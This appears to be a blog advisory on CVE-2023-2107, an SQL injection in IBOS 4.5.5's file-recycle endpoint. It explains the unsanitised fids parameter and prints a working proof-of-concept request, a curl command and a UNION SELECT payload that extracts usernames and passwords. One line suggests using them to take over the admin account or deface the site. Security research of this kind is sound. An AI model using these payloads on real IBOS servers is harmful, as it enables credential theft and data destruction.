In April 2023, a critical security flaw (CVE-2023-2107, VDB-226110) was found in IBOS 4.5.5, a widely used office collaboration system. This vulnerability allows an attacker to take control of your database by sending malicious input to the “recycle” operation of the file management module. Attackers don’t need local access—anyone on the internet can exploit this hole if your IBOS instance is exposed. Here’s an exclusive breakdown of what makes this bug so dangerous, a code snippet you can try in your security lab, and everything you need to know to stay protected.

Product: IBOS 4.5.5 (likely others, too)

- Component/Function: Unknown function using the endpoint file/personal/del with operation op=recycle

Remote Exploit? Yes

- Reference: VDB-226110  
- CVE: CVE-2023-2107

The Root Cause

The IBOS system fails to sanitize the fids parameter before using it in an SQL query when handling file deletions (moving to recycle bin). This allows an attacker to trick the system into running their own SQL commands — including reading sensitive data, creating new administrative accounts, or destroying the database.

Proof of Concept (PoC) Exploit

Suppose your IBOS installation is at http://example.com. This is a simplified version of what an attacker might do:

HTTP Request

GET /file/personal/del?op=recycle&fids=1%20OR%201=1-- HTTP/1.1
Host: example.com
Cookie: PHPSESSID=your-session-id

The double dash (--) comments out the rest of the SQL statement.

Depending on how the backend is written, this could delete *every file* or expose database errors that confirm the site is injectable. If error messages aren’t suppressed, you may even see database output in the browser.

Discover the endpoint:

Find /file/personal/del?op=recycle on target IBOS server.

`

/file/personal/del?op=recycle&fids=1 UNION SELECT 1,username,password FROM user--

Leverage for admin access:

Once you extract the credentials, log in as admin or use the access to damage or deface the application.

Example: Testing with Curl

curl "http://example.com/file/personal/del?op=recycle&fids=1%20OR%201=1--" \
  -H "Cookie: PHPSESSID=your-session-id"

References & More Details

- Original VulDB Entry (VDB-226110)
- CVE Details - CVE-2023-2107
- Exploit Database: IBOS 4.5.5 SQL Injection *(example only — check for related PoCs as listed)*

Patch to the latest version as soon as possible!

Check for vendor patches or updates here.

Final Words

CVE-2023-2107 is a real and present danger for any organization using unpatched IBOS 4.5.5. The exploit is publicly available, simple to execute, and devastating in its impact. If you’re running IBOS and haven’t patched — you need to act today. Security is everyone’s business, so don’t be caught unprepared.

*Stay safe: patch promptly, sanitize inputs, and follow best security practices!*


*This exclusive guide was created to help demystify CVE-2023-2107 for admins and security professionals. Share responsibly!*

Timeline

Published on: 04/15/2023 14:15:00 UTC
Last modified on: 04/24/2023 20:04:00 UTC